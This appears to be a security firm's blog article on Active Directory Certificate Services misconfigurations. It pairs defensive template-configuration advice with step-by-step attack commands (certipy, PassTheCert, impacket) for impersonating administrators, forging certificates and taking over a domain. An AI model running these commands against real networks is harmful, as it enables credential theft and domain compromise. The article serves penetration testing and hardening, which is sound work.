If you're concerned with IT security, you can't miss the OWASP Top 10. The non-profit organization Open Web Application Security
In this article, we address the risks of incorrect or incomplete setup of ADCS (Active Directory Certificate Services). Depending on the extent, an attacker can create certificates for any action and authorization, so there is a very high risk here. We will show you the three biggest risk factors, describe two possible attack paths and explain how you can protect yourself against them.
Active Directory Certificate Services has existed under this name since Windows Server 2008, previously it was only called Root Certification Authority. Certificate Authority). The ADCS serve the creation of an own public key Infrastructure (PKI for short). Details about ADCS can be found in the corresponding article: Public Key Infrastructure with Active Directory Certificate Services
A comprehensive and structured setup and implementation of the AD certificate services is enormously important for protection against possible hacking attacks.
Incorrect configuration of the ADCS can have far-reaching consequences. For this reason, some of the most important configuration steps in the creation or adaptation of the certificate templates are described below and the consequences of some options are presented. Since these can be considered individually quite meaningful and necessary, in particular the combination of the settings is relevant thereby.
Two options are available in the Applicant Name tab:
Information is specified in the request: This option is active by default for the "Web server" template, for example. Here it is useful for an authorized administrator to specify the corresponding alternative names of a server in the certificate.
Attention: If this option is selected for user certificates, the applicant can issue a certificate for any user. If the permissions for creation are now still set for all users (see below), a "normal" user can request certificates for the administrator.
Create from this information in Active Directory: When this option is selected, the information used is generated from the AD entries of the user or computer. This is especially useful for users: this prevents values from other users from being used.
The Permissions tab corresponds to the familiar layout of permission assignment. Ultimately, this is no different from other permissions and the recommendation to use the usual defaults: "As few permissions as possible".
The application guidelines define the intended use of the certificate. It is important here to specify the exact purpose of the certificate. For example, a certificate for use in the web server or for code signing does not require client authentication.
The issuance of certificates with the "Any Purpose" application policy is particularly critical. Experience shows that there are always configurations in which users or even administrators can create these certificates. The application should be kept to an absolute minimum here and the authorized account should be protected as best as possible.
The Subject Alternative Name or also the check mark for "Information will be provided in the request". With the alternative name you can be whoever you want: If the second name is Administrator, that works too.
First you have to get the necessary information, so a classic case for Bloodhound. For this you need valid user data from the domain, here our dcUser.
First the Bloodhound dump for user and computer information:
bloodhound-python -u USER -p PASSWORD -d DOMAIN [-c all] -dc FQDN_DC [-ns ] --zip
Then use certipy (here 4.0) to get the certificate information:
certipy find -u USER -p PASSWORD -target IP/FQDN_DC -old-bloodhound
Then drag the .zip's into BloodhoundGUI for further analysis.
The custom queries of @Ly4k the author of certipy are suitable for the analysis:
Here we have a 'Generic All' because the administrator "misclicked" and allowed full access to all users. This kind of thing likes to happen during implementation or troubleshooting and the 'undo' is not done if it works. In this case the Subject Alternative Name/Enrollee Supplies Subject = true is sufficient for us.
Continue on the shell with certypy:
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC1 -upn ADMINISTRATOR
Then use the certificate to log in:
certipy auth -pfx administrator.pfx
This will give you a TGT and the password hash. With the certificate you can always get a TGT and the hash as long as it is valid. Even changing the user's password and the KRBTGT does not help here.
The domain is yours as long as the certificate is not revoked.
The "Any purpose" certificate. It is usually a CA or SubCA certificate and thus also has exactly the rights, the standard validity is 5 years. Since it can only be requested by administrative users, this is more of a persistence measure.
Requesting privileged certificates using an enrollment agent. The Enrollment Agent certificate allows us, as another user, to request a certificate that extends our privileges.
To do this, first use certipy to request the regular enrollment agent certificate and, in the second step, e.g. a user certificate of an administrator. Then use certipy auth to request a Kerbero ticket and read the NTHash.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC3.1 -on-behalf-of DOMAIN/ADMIN -pfx ESC3.pfx
A certificate template which may be edited by non-administrators and changed accordingly. This can be found out with certipy and Bloodhound or you can manually check the permissions on the individual templates in ADCS.
This problem is only indirectly related to the CA, but it is a problem if you have administrative permissions on the ADCS server. This can be used to create a "Golden Certificate", similar to the Kerberos Golden Ticket, only as a certificate. Because the CA root certificate was "stolen", it can be used to create further valid certificates. Then use certipy auth to request a Kerberos ticket and read out the NTHash.
certipy ca -backup -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA
certipy forge -ca-pfx ROOT_CA.pfx -upn ADMINISTRATOR -subject CN=ADMINISTRATOR,CN=USERS,DC=DOMAIN,DC=LOCAL
This parameter is set CA wide and enables ESC1 for all certificate templates, i.e. requesting with an alternative name. This can be found out with certipy or with certutil on Windows.
certutil -config "FQDN_DC\CA_NAME" -getreg policy\EditFlags
This time not the administrative rights to the server, but to the CA itself. The "Manage CA" or "Manage Certificates" permission. The permission is exploited to grant the user write permissions to a certificate template and then convert this to an ESC1.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -add-officer USER
This will give us the "Issue and Manage Certificates" authorization.
This allows us to approve even failed requests and roll out the corresponding certificates. For example, the "SubCA" certificate, which by default only administrators are allowed to request.
After a failed request, be sure to save the "private key", this will be needed later.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -issue-request REQ_ID
After approving the request, which can also be used to bypass a "manager approval", retrieve the approved certificate.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -retrieve REQ_ID
The vulnerable web server. Fully covered in our PetitPotam article.
My computer is now named like the domain controller. For this, the value for creating more computers in the domain must be set so that more can be added. By default, this is 10 (
ms-DS-MachineAccountQuota) if you don't have a more privileged account yet.
This vulnerability was patched by Microsoft in May 2022. Exploitation via Kerberos or Schannel is therefore not possible if CA and DC are patched.
The patch writes another parameter to the certificate, which is
SID of the user.
If it was not patched after all or the
CT_FLAG_NO_SECURITY_EXTENSION (0x80000) at
msPKI-Enrollment-Flag is set, it still works. Create a new computer with certipy, but an alternative one
certipy account create -user NEW_COMPUTER -u USER -p PASSWORD -target IP/FQDN_DC -dns DC_NAME
Then you request a certificate. Since for computer certificates the
dNSHostName is used, nothing needs to be "manipulated" here. The
Machine Certificate template is used for this purpose.
If the login with the certificate does not work because it is not supported, you will get the following error message:
Error Code: 16 Reason: KDC has no support for PADATA.
type (pre-authentication data)
A tool from AlmonOffSec, PassTheCert in C# and Python helps here. LDAPS and LDAP are exploitable through StartTLS. LDAP ChannelBinding also has no negative effect on the attack through Schannel.
But first the .pfx must be converted to a .crt and to a .key, that is, have the private key and the certificate itself as separate data.
certipy cert -pfx ADMIN.pfx -nokey -out ADMIN.crt
certipy cert -pfx ADMIN.pfx -nocert -out ADMIN.key
After that we create a new computer, if we do not have control over one yet. Login as the system should be possible with a password.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action add_computer -computer-name NEW_COMPUTER
Then we create a delegation from our "new computer" to the domain controller.
ResourceBasedConstrainedDelegation. For assistance the
-delegate-to: the from is the computer that I control, and the data I write in the to, so my goal.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action write_rbcd -delegate-from NEW_COMPUTER -delegate-to FQDN_DC
Using the delegated permissions to request Kerberos, takeover.
impacket-getST -spn 'cifs/FQDN_DC' -impersonate Administrator 'DOMAIN/NEW_COMPUTER:PASSWORD' -dc-ip IP_DC
Certipy has also implemented an LDAP shell with simple commands, through which this scenario can also be exploited.
If you want to recreate the danger of incorrectly configured certificate templates in a pure Windows environment without using Kali-Linux, you can do this using normal Windows board means and the smartcard emulator PIVert.
In our use case we use a Windows 10 client. In the MMC Console, we add the corresponding snap-in of certificates to subsequently create a certificate from the existing templates.
"Fortunately", in our templates there is a template for creating a SmartCard certificate, in which we can enter the applicant name ourselves. So we can create a certificate for the administrator as a logged-in standard user!
It is important to set the private key as exportable when creating it and to leave the applicant name blank for use in PIVert, otherwise problems may occur here.
After the successful creation of the certificate you have to export it as *.pfx. The private key must be exported and a password must be specified.
You can then include this certificate in PIVert and emulate a corresponding smart card. This establishes an RDP connection, in the example case as administrator to the ADCS.
The best protection against attacks is provided by a conscious and appropriate configuration of templates and authorizations. In particular, the above-mentioned risks must be considered and minimized during configuration.
The requestor name should, whenever possible, be pulled directly from the AD user data and not be editable itself, using the "Create from this information in Active Directory" selection from the screenshot above.
Assign permissions as restrictively as possible, especially if the applicant name is not specified or the certificate's capabilities are very broad.
Furthermore, when setting the application guidelines to define the purpose of use: Select only those in a certificate that are necessary for the intended use. Different templates must be created for different fields of application.
Correct and deliberate configuration of certificate templates is the most important step in protecting against misuse and attacks.
Another way to minimize the risk of misuse is to enable certificate manager approval. If you activate this in the corresponding certificate template, a certificate can be requested, but the approval must be done by an administrator on the ADCS. This makes it more difficult to create certificates - this is correspondingly associated with additional effort in the creation process.
Another challenge of this method is "playing back" the released certificates to the applicant. There are various options here, which we will not present in detail here:
If you're concerned with IT security, you can't miss the OWASP Top 10. The non-profit organization Open Web Application Security
Burp Suite by Portswigger and OWASP ZAP are both programs with a proxy server that run on your local device. With
Our co-founder Immanuel was a guest at Radio Bonn/ Rhein-Sieg and told the presenter team Nico Jansen and Jasmin Lenz and